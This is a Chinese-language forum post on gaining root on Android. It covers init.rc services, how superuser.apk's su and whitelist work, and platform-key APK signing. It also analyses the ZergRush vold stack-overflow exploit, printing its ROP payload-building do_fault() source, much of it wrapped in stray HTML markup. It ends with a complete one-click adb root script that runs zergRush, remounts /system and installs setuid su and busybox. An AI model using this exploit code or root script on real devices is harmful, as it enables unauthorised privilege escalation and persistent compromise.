     一般情況下system用戶可以在系統中創建和刪除文件,訪問設備等等。但是有些情況下system權限還是不夠的。比如:設置網卡IP地址,ifconfig命令是需要root權限的。我可以很肯定的說,在Android下面應用程序是沒有可能拿到root權限的。但是如果我的應用程序需要root權限怎麼辦呢?只能想辦法繞般過去。就以我的問題為例,設置網卡IP地址,root權限下面命令為:
ifconfig eth0 192.168.1.188

在普通用戶或者system用戶權限下面這條命令是不起作用的,但是不會返回失敗和異常,那麼怎樣實現這個功能呢。
1、系統啟動的時候init進程創建一個後台進程,該進程處於root用戶權限下面。用來監聽系統中應用程序的請求(可以用socket實現),並代其完成。這樣應用程序就可以執行root用戶權限的任務了。
2、實現一個虛擬的設備,該設備的功能就是在內核態幫應用程序執行相應的命令。Linux內核態沒有權限的問題了。肯定可以執行成功。
     解決設置網卡IP地址問題時,選擇是後者相對來說設計比較簡單。



Android應用程序利用init.rc service獲得root權限發佈於:想在android應用程序中動態mount一個NFS的系統,但是執行mount命令必須要root權限才可以。一般情況下,在Android的APK層是不能獲得root權限的。
上一節提到實現由init啟動的Service,來幫助Android應用程序執行root權限的命令或者實現一個虛擬設備,這個設備幫助Android應用程序執行root權限的命令。
  本文將會選擇第一種來解決Android應用程序mount NFS文件系統的問題。
Init.rc Service
  在Android系統init.rc中定義很多Service,Init.rc中定義的Service將會被Init進程創建,這樣將可以獲得root權限。
  設置系統屬性「ctl.start」,把「ctl.start」設置為你要運行的Service,假設為「xxx」,Android系統將會幫你運行「ctl.start」系統屬性中指定的Service。那麼運行結果init進程會寫入命名為「init.svc.+xxx」的系統屬性中,應用程序可以參考查閱這個值來確定Service xxx執行的情況。
Android系統屬性(property)權限
   難道Android屬性「ctl.start」不是所有進程都可以設置的,見property_service.c中的源碼,設置Android系統屬性的函數為handle_property_set_fd(),從源碼中可以發現如果設置「ctl.」開頭的Android系統屬性,將會調用check_control_perms函數來檢查調用者的權限,只有root權限和system權限的應用程序才可以修改「ctl.」開頭的Android系統屬性。否則將會檢查control_perms全局變量中的定義權限和Service。從代碼中可以看到,任何不以property_perms[] 中定義的前綴開頭的property  是無法被除root以外的用戶訪問的,包括system用戶。

實例
   下面以上面提出的mount nfs文件系統為例說明:
A.首先定義一個執行mount的腳本,我把它位於/system/etc/mount_nfs.sh,定義如下:
  1: #!/system/bin/sh
  2:
  3: /system/bin/busybox mount -o rw,nolock -t nfs 192.168.1.6:/nfs_srv /data/mnt
不要忘了把它加上可執行權限。
B.在init.rc中加入一個Service定義,定義如下:
  1: service mount_nfs /system/etc/mount_nfs.sh
  2:    oneshot
  3:    disabled
C.讓自己的應用程序獲得system權限,方法見前面章節
D.在自己應用程序中設置System系統屬性「ctl.start」為「mount_nfs」,這樣Android系統將會幫我們運行mount_nfs系統屬性了。不能夠調用System.getProperty,這個函數只是修改JVM中的系統屬性。只能調用android.os.SystemProperties,最終通過JNI調用C/C++層的API property_get和property_set函數。
  SystemProperties.set("ctl.start","mount_nfs");
E.最後在自己應用程序中,讀取「init.svc.mount_nfs」Android系統Property,檢查執行結果。代碼如下:
  1:while(true)
  2: {
  3:    mount_rt = SystemProperties.get("init.svc.mount_nfs","");
  4:    if(mount_rt != null && mount_rt.equals("stopped"))
  5:    {
  6:        return true;
  7:    }
  8:   
  9:    try
10:    {
11:        Thread.sleep(1000);
12:    }catch(Exception ex){
13:        Log.e(TAG,"Exception: " + ex.getMessage());
14:    }
15: }
    init進程維護一個service的隊列,所以我們需要輪訓來查詢service的執行結果。
1. 文件()讀寫權限
init.rc 中建立test1 test2 test3文件夾
mkdir /data/misc/test1 0770 root root   
mkdir /data/misc/test2 0770 wifi wifi
mkdir /data/misc/test3 0770 system misc
其中
test1 目錄的ownerroot, group也是root
test2 目錄的ownerwifi , group也是wifi
test3 目錄的ownersystem , groupmisc (任何用戶都屬於group misc

service xxxx /system/bin/xxxx
    user root
    disabled
    oneshot

service yyyy /system/bin/yyyy
    user system
    disabled
    oneshot

service zzzz /system/bin/zzzz
    user wifi
    disabled
    oneshot

結果:

xxxx 服務可以訪問 test1, test2, test3
yyyy 服務可以訪問 test3
zzzz 服務可以訪問 test2, test3

見android_filesystem_config.h中定義AID_ROOT  AID_SYSTEM  AID_MISC等宏定義的權限
360等特殊系統是否可以考慮在AID_ROOT和AID_SYSTEM之間加一個權限和用戶,增加新的哦property給360用?

   通過上面的這些步驟,Android應用程序就能夠調用init.rc中定義的Service了。這樣你的Android應用程序也就獲得了root權限。前提是Android系統開發人員,否則你無法修改init.rc等文件,而且應用程序必須要獲得system權限。


android superuser.apk 管理root權限原理分析  原理是利用了android的兩個提權漏洞: CVE-2010-EASY和 ZergRush。 我把大概原理簡單說說:
1
, CVE-2010-EASY: linux的內核的模塊化程度很高,很多功能模塊是需要到時候再加載,在 android中由init進程來管理這些的。但是這個init進程不會檢測發給它的指令的來源,不管是內核發送的,還是用戶發送的,它都執行不誤,會順從的去加載或卸載一些模塊,而加載的模塊都是以root身份運行的。因此你可以給它準備一個精心製作的功能模塊(ko文件),然後觸發相應的加載條件,比如熱拔插、開關wifi等等, 該功能模塊運行後,會生成 /data/local/tmp/rootshell     一個帶s位的shell。
2
,ZergRush原理: 具有root權限的vold進程使用了libsysutils.so庫,該庫有個函數存在棧溢出,因此可以root權限執行輸入的shellcode。
3. 還有個前面提到的adb提權漏洞,不夠新版本已經修正了。
扯了半天還沒扯到superuser.apk,這個程序是root成功後,專門用來管理root權限使用的,防止被惡意程序濫用。
源碼地址:
http://superuser.googlecode.com/svn/trunk
帶著兩個問題我們來分析源碼:
1
、superuser是怎麼知道誰想用root權限?
2、superuser是如何把用戶的選擇告訴su程序的那?

即superuser和su程序是如何通訊的,他們倆位於不通的時空,一個在java虛擬機中,一個在linux的真實進程中。

共有兩個active: SuperuserActivity和 SuperuserRequestActivity。
其中SuperuserActivity主要是用來管理白名單的,就是記住哪個程序已經被允許使用root權限了,省的每次用時都問用戶。
SuperuserRequestActivity
就是用來詢問用戶目前有個程序想使用root權限,是否允許,是否一直允許,即放入白名單。

這個白名單比較關鍵,是一個sqlite數據庫文件,位置:
/data/data/com.koushikdutta.superuser/databases/superuser.sqlite

root
的本質就是往 /system/bin/下放一個帶s位的,不檢查調用者權限的su文件。普通程序可以調用該su來運行root權限的命令。superuser.apk中就自帶了一個這樣的su程序。一開始superuser會檢測/system/bin/su是否存在,是否是自個放進去的su:
File su = new File("/system/bin/su");// 檢測su文件是否存在,如果不存在則直接返回
    if (!su.exists()) {
        Toast toast = Toast.makeText(this, "Unable to find /system/bin/su.", Toast.LENGTH_LONG);                toast.show();
        return;
    }
    //檢測su文件的完整性,比較大小,太省事了吧
    //如果大小一樣,則認為su文件正確,直接返回了事。
   if (su.length() == suStream.available())     {
     suStream.close();
     return;
   }            

  // 如果檢測到/system/bin/su 文件存在,但是不對頭,則把自帶的su先寫到"/data/data/com.koushikdutta.superuser/su"      //      再寫到/system/bin/su。
   byte[] bytes = new byte[suStream.available()];
   DataInputStream dis = new DataInputStream(suStream);
   dis.readFully(bytes);
   FileOutputStream suOutStream = new FileOutputStream("/data/data/com.koushikdutta.superuser/su");
   suOutStream.write(bytes);
   suOutStream.close();
   Process process = Runtime.getRuntime().exec("su");
   DataOutputStream os = new DataOutputStream(process.getOutputStream());
   os.writeBytes("mount -oremount,rw /dev/block/mtdblock3 /system\n");
   os.writeBytes("busybox cp /data/data/com.koushikdutta.superuser/su /system/bin/su\n");
   os.writeBytes("busybox chown 0:0 /system/bin/su\n");
   os.writeBytes("chmod 4755 /system/bin/su\n");
   os.writeBytes("exit\n");
   os.flush();

上面提到的su肯定是動過手腳的,有進程使用root權限,superuser是怎麼知道的,看完su的代碼明白了,關鍵是句:
  sprintf(sysCmd, "am start -a android.intent.action.MAIN
    -n com.koushikdutta.superuser/com.koushikdutta.superuser.SuperuserRequestActivity                                  --ei uid %d --ei pid %d > /dev/null", g_puid, ppid);  if (system(sysCmd))   return executionFailure("am.");


原理是am命令,看了下am的用法,明白了:
在Android中,除了從界面上啟動程序之外,還可以從命令行啟動程序,使用的是命令行工具am.啟動的方法為
$ adb shell
$ su
# am start -n
{包(package)名}/{包名}.{活動(activity)名稱}
程序的入口類可以從每個應用的AndroidManifest.xml的文件中得到,以計算器(calculator)為例,它的
<manifest xmlns:android="http://schemas.android.com/apk/res/android" …
package="com.android.calculator2" …>…
由此計算器(calculator)的啟動方法為:
# am start -n com.android.calculator2/com.android.calculator2.Calculator
一般情況希望,一個Android應用對應一個工程。值得注意的是,有一些工程具有多個活動(activity),而有一些應用使用一個工程。例如:在Android界面中,Music和Video是兩個應用,但是它們使用的都是packages/apps/Music這一個工程。而在這個工程的AndroidManifest.xml文件中,有包含了不同的活動(activity)。
Music Video(音樂和視頻)的啟動方法為:
# am start -n com.android.music/com.android.music.MusicBrowserActivity
# am start -n com.android.music/com.android.music.VideoBrowserActivity
# am start -n com.android.music/com.android.music.MediaPlaybackActivity
啟動瀏覽器 :
am start -a android.intent.action.VIEW -d  http://www.google.cn/
撥打電話 :
am start -a android.intent.action.CALL -d tel:10086
啟動 google map直接定位到北京 :
am start -a android.intent.action.VIEW geo:0,0?q=beijing

   usage: am [subcommand] [options]

     start an Activity: am start [-D] [-W] <INTENT>
         -D: enable debugging
         -W: wait for launch to complete

     start a Service: am startservice <INTENT>

     send a broadcast Intent: am broadcast <INTENT>

     start an Instrumentation: am instrument [flags] <COMPONENT>
         -r: print raw results (otherwise decode REPORT_KEY_STREAMRESULT)
         -e <NAME> <VALUE>: set argument <NAME> to <VALUE>
         -p <FILE>: write profiling data to <FILE>
         -w: wait for instrumentation to finish before returning

     start profiling: am profile <PROCESS> start <FILE>
     stop profiling: am profile <PROCESS> stop

     <INTENT> specifications include these flags:
         [-a <ACTION>] [-d <DATA_URI>] [-t <MIME_TYPE>]
         [-c <CATEGORY> [-c <CATEGORY>] ...]
         [-e|--es <EXTRA_KEY> <EXTRA_STRING_VALUE> ...]
         [--esn <EXTRA_KEY> ...]
         [--ez <EXTRA_KEY> <EXTRA_BOOLEAN_VALUE> ...]
         [-e|--ei <EXTRA_KEY> <EXTRA_INT_VALUE> ...]
         [-n <COMPONENT>] [-f <FLAGS>]
         [--grant-read-uri-permission] [--grant-write-uri-permission]
         [--debug-log-resolution]
         [--activity-brought-to-front] [--activity-clear-top]
         [--activity-clear-when-task-reset] [--activity-exclude-from-recents]
         [--activity-launched-from-history] [--activity-multiple-task]
         [--activity-no-animation] [--activity-no-history]
         [--activity-no-user-action] [--activity-previous-is-top]
         [--activity-reorder-to-front] [--activity-reset-task-if-needed]
         [--activity-single-top]
         [--receiver-registered-only] [--receiver-replace-pending]
         [<URI>]


還有個疑點,就是su怎麼知道用戶是允許root權限還是反對那?原來是上面提到的白名單起來作用,superuser把用戶的選擇放入
/data/data/com.koushikdutta.superuser/databases/superuser.sqlite   
數據庫中,然後su進程再去讀該數據庫來判斷是否允許。
static int checkWhitelist(){ sqlite3 *db; int rc = sqlite3_open_v2(DBPATH, &db, SQLITE_OPEN_READWRITE, NULL); if (!rc) {  char *errorMessage;  char query[1024];  sprintf(query, "select * from whitelist where _id=%d limit 1;", g_puid);  struct whitelistCallInfo callInfo;  callInfo.count = 0;  callInfo.db = db;  rc = sqlite3_exec(db, query, whitelistCallback, &callInfo, &errorMessage);  if (rc != SQLITE_OK)  {   sqlite3_close(db);   return 0;  }  sqlite3_close(db);  return callInfo.count; } sqlite3_close(db); return 0;}




獲取一鍵root原理
轉自:http://blog.csdn.net/liujian885/archive/2010/03/22/5404834.aspx
在 android的API中有提供 SystemClock.setCurrentTimeMillis()函數來修改系統時間,可惜無論你怎麼調用這個函數都是沒用的,無論模擬器還是真機,在logcat中總會得到"Unable to open alarm driver: Permission denied ".這個函數需要root權限或者運行與系統進程中才可以用。本來以為就沒有辦法在應用程序這一層改系統時間了,後來在網上搜了好久,知道這個目的還是可以達到的。
        第一個方法簡單點,不過需要在Android系統源碼的環境下用make來編譯:
        1. 在應用程序的AndroidManifest.xml中的manifest節點中加入android:sharedUserId="android.uid.system"這個屬性。
        2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform這一行
        3. 使用mm命令來編譯,生成的apk就有修改系統時間的權限了。
        第二個方法麻煩點,不過不用開虛擬機跑到源碼環境下用make來編譯:
        1. 同上,加入android:sharedUserId="android.uid.system"這個屬性。
        2. 使用eclipse編譯出apk文件,但是這個apk文件是不能用的。
        3. 使用目標系統的platform密鑰來重新給apk文件簽名。這步比較麻煩,首先找到密鑰文件,在我的Android源碼目錄中的位置是"build\target\product\security",下面的platform.pk8和platform.x509.pem兩個文件。然後用Android提供的Signapk工具來簽名,signapk的源代碼是在"build\tools\signapk"下,用法為"signapk platform.x509.pem platform.pk8 input.apk output.apk",文件名最好使用絕對路徑防止找不到,也可以修改源代碼直接使用。
        這樣最後得到的apk和第一個方法是一樣的。
        最後解釋一下原理,首先加入android:sharedUserId="android.uid.system"這個屬性。通過Shared User id,擁有同一個User id的多個APK可以配置成運行在同一個進程中。那麼把程序的UID配成android.uid.system,也就是要讓程序運行在系統進程中,這樣就有權限來修改系統時間了。
        只是加入UID還不夠,如果這時候安裝APK的話發現無法安裝,提示簽名不符,原因是程序想要運行在系統進程中還要有目標系統的platform key,就是上面第二個方法提到的platform.pk8和platform.x509.pem兩個文件。用這兩個key簽名後apk才真正可以放入系統進程中。第一個方法中加入LOCAL_CERTIFICATE := platform其實就是用這兩個key來簽名。
        這也有一個問題,就是這樣生成的程序只有在原始的Android系統或者是自己編譯的系統中才可以用,因為這樣的系統才可以拿到platform.pk8和platform.x509.pem兩個文件。要是別家公司做的Android上連安裝都安裝不了。試試原始的Android中的key來簽名,程序在模擬器上運行OK,不過放到G3上安裝直接提示"Package ... has no signatures that match those in shared user android.uid.system",這樣也是保護了系統的安全。
        最最後還說下,這個android:sharedUserId屬性不只可以把apk放到系統進程中,也可以配置多個APK運行在一個進程中,這樣可以共享數據,應該會很有用的。

signapk編譯結束後在 android目錄下/out/host/linux-x86/framework/signapk.jar
使用方法:java -jar signapk.jar platform.x509.pem platform.pk8 test.apk test_signed.apk文件。


漏洞— zergRush
提權實現的代碼,見:

需要瞭解一下是哪個地方有問題,邊分析邊記錄此次過程。
文件不大,當然從 main 入手了,
if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))  
     do_root();

明顯,當有了 Root 能力後去做一個可以保持 Root 的動作,猜測,此程序會被調用多次,並且再次調用的時候程序名稱為 boomsh

看一下 do_root 吧

寫了一個屬性 ro.kernel.qemu 為 1
明顯是讓手機當成模擬器運行,見 \android2.32\system\core\adb\adb.c 中的代碼
1.  /* run adbd in secure mode if ro.secure is set and
2.  ** we are not in the emulator
3.  */  
4.  property_get("ro.kernel.qemu", value, "");  
5.  if (strcmp(value, "1") != 0) {  
6.      property_get("ro.secure", value, "");  
7.      if (strcmp(value, "1") == 0) {  
8.          // don't run as root if ro.secure is set...   
9.          secure = 1;  
10.   
11.         // ... except we allow running as root in userdebug builds if the   
12.         // service.adb.root property has been set by the "adb root" command   
13.         property_get("ro.debuggable", value, "");  
14.         if (strcmp(value, "1") == 0) {  
15.             property_get("service.adb.root", value, "");  
16.             if (strcmp(value, "1") == 0) {  
17.                 secure = 0;  
18.             }  
19.         }  
20.     }  
21. }  

以後調用 adb 默認是 Root 用戶了。

下面又做了一件事把自己拷貝到 /data/local/tmp/boomsh
把 SH 拷貝到 /data/local/tmp/sh
改變 /data/local/tmp/boomsh 的權限為 711 ,可執行了

然後獲取 /system/bin/vold 程序的大小,
通過 heap_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; 這樣的一個計算,得到該程序的堆地址, 有點意思了,對 vold 程序有了歪腦筋了
用過在手機上用 ps 看一下,這個程序有是從 root  用戶執行過來的。

然後獲取了一下手機的版本號,只對 2.2 2.3 二個版本進行處理,並修正了一上 heap_addr  的地址。
然後又找了一下 system 系統調用函數的地址,放到 system_ptr 中
繼續看 checkcrash()
>> 清除了一下 logcat 日誌
>> 刪除 /data/local/tmp/crashlog 文件
>> 簡立一個子進程,去生成一下 crashlog 文件。
>> 調用 do_fault
>> 打開 crashlog 文件
>> 在 crashlog 中找到崩潰信息,找到 sp 寄存器地址。

等等,為什麼崩潰呢,肯定是在 do_fault 中製造的,我們要看看這塊了
這個函數比較亂,找找重點看
if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
不錯的信息,連接 vold ,又是它,以前聽說過它有漏洞,這次還是它。
write(sock, buf, n+1)
寫了一些信息,不知道什麼信息,但是可以肯定的是,能讓 vold 崩潰的信息。

下面回到 main  繼續!

一個 For 循環處理。
find_stack_addr 用了上面的相同方法,從崩潰信息中找到程序的棧地址,(至於怎麼計算的,以後再去研究了)

一些容錯檢查,略過!

kill(logcat_pid, SIGKILL);
unlink(crashlog);

find_rop_gadgets()
又一個陌生函數。看了,暫時看不出用途,貌似找點什麼,繼續!

下面就是再次調用 do_fault ,生成崩潰。
再次判斷 sh 是否有沒有 s 位, 如果有了,剛 ROOT 功了。

疑問來了,沒發現怎麼再次調用 boomsh 運行執行 do_root 啊。 順著它拷貝出來的 sh 文件找找,搜索 bsh 變理的使用情況,發現如下地方:
  1. <div align="left">static <b>int</b> do_fault()  </div><div align="left">{  </div><div align="left"><span style="line-height: 1.5;">     </span><b style="line-height: 1.5;">char</b><span style="line-height: 1.5;"> buf[255];  </span></div><div align="left">     <b>int</b> sock = -1, n = 0, i;  </div><div align="left">     <b>char</b> s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];  </div><div align="left">     uint32_t bsh_addr;  </div><div align="left"><span style="line-height: 1.5;">     </span><b style="line-height: 1.5;">char</b><span style="line-height: 1.5;"> padding[128];  </span></div><div align="left"><span style="line-height: 1.5;">     int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);  </span><span style="line-height: 1.5;">    </span></div><div align="left">     memset(padding, 0, 128);  </div><div align="left">     strcpy(padding, "LORDZZZZzzzz");  </div><div align="left">     if(padding_sz > 0) {  </div><div align="left">         memset(padding+12, 'Z', padding_sz);  </div><div align="left">         printf("<span style="line-height: 1.5;">Poping %d more zerglings\n", padding_sz);  </span></div><div align="left">     }  </div><div align="left">     else if(padding_sz < 0) {  </div><div align="left">         memset(padding, 0, 128);  </div><div align="left">         memset(padding, 'Z', 12+padding_sz);  </div><div align="left">     }  <span style="line-height: 1.5;">  </span></div><div align="left">     if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)  </div><div align="left">         die("[-] Error creating Nydus");  </div><div align="left">   </div><div align="left">     sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);  </div><div align="left"><span style="line-height: 1.5;">     sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);  </span></div><div align="left">     sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);  </div><div align="left">     sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);  </div><div align="left">     sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);  </div><div align="left">   </div><div align="left">     strcpy(buf, "ZERG");  </div><div align="left">     strcat(buf, " ZZ ");  </div><div align="left"><span style="line-height: 1.5;">     strcat(buf, s_stack_pivot_addr);  </span></div><div align="left">     for(i=3; i < buffsz+1; i++)  </div><div align="left">         strcat(buf, " ZZZZ");  </div><div align="left">     strcat(buf, " ");  </div><div align="left">     strcat(buf, s_heap_addr);  <span style="line-height: 1.5;">           </span></div><div align="left">     n = strlen(buf);  </div><div align="left">     bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;  </div><div align="left">       </div><div align="left">     if(check_addr(bsh_addr) == -1) {  </div><div align="left">         printf("[-] Colossus, we're doomed!\n");  </div><div align="left">         exit(-1);  </div><div align="left">     }  </div><div align="left">   </div><div align="left">     sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);  </div><div align="left"><span style="line-height: 1.5;">     <strong><span style="color:#ffffff;BACKGROUND-COLOR: #ff0000">n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);</span></strong>  </span><span style="line-height: 1.5;">       </span></div><div align="left">     printf("<span style="line-height: 1.5;">Sending %d zerglings ...\n", n);  </span><span style="line-height: 1.5;"> </span></div><div align="left">     if ((n = write(sock, buf, n+1)) < 0)  </div><div align="left"><span style="line-height: 1.5;">     die("[-] Nydus seems broken");  </span></div><div align="left"><span style="line-height: 1.5;">     </span><span style="line-height: 1.5;">sleep(3);  </span></div><div align="left">     close(sock);  <span style="line-height: 1.5;">   </span></div><div align="left">     return n;  </div><div align="left">}  </div>
複製代碼

看到上面加色的行了,原來他是用 socket 寫的一個 shell code ,調用了他拷貝的 sh 程序。
在 vold 中執行 sh 肯定是 root 啊。

至此,原理很是清楚了, shell code 嘛,運行的時候把他 dump 出來用別的工具看吧!
一鍵ROOT腳本
1.等待設備連接
adb wait-for-device                          
2.刪除文件
adb shell "cd /data/local/tmp/; rm *"        
3.上傳zergRush並修改屬性去執行
adb push c:\zergRush /data/local/tmp/
adb shell "chmod 777 /data/local/tmp/zergRush"
adb shell "/data/local/tmp/zergRush"
adb wait-for-device
4.上傳busybox、給busybox文件執行權限,以可以方式加載文件系統
adb push c:\busybox /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/busybox"
adb shell "/data/local/tmp/busybox mount -o remount,rw /system"
5.複製busybox,修改所在的組及設置s位
adb shell "dd if=/data/local/tmp/busybox of=/system/xbin/busybox"
adb shell "chown root.shell /system/xbin/busybox"
adb shell "chmod 04755 /system/xbin/busybox"
6.安裝busybox並刪除臨時文件
adb shell "/system/xbin/busybox --install -s /system/xbin"
adb shell "rm -rf /data/local/tmp/busybox"
7.對su進行類似busybox的處理
adb push c:\fu /system/bin/su
adb shell "chown root.shell /system/bin/su"
adb shell "chmod 06755 /system/bin/su"
adb shell "rm /system/xbin/su"
adb shell "ln -s /system/bin/su /system/xbin/su"
8.安裝其它工具
adb push c:\superuser.apk /system/app/
adb shell "cd /data/local/tmp/; rm *"
adb reboot
adb wait-for-device
adb install c:\recovery.apk



 

臉書網友討論
您需要登錄後才可以回帖 登錄 | 註冊 |

本版積分規則



Archiver|手機版|小黑屋|免責聲明|TShopping

GMT+8, 2016-12-11 02:51 , Processed in 0.076089 second(s), 22 queries .

本論壇言論純屬發表者個人意見,與 TShopping綜合論壇 立場無關 如有意見侵犯了您的權益 請寫信聯絡我們。

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回復 返回頂部 返回列表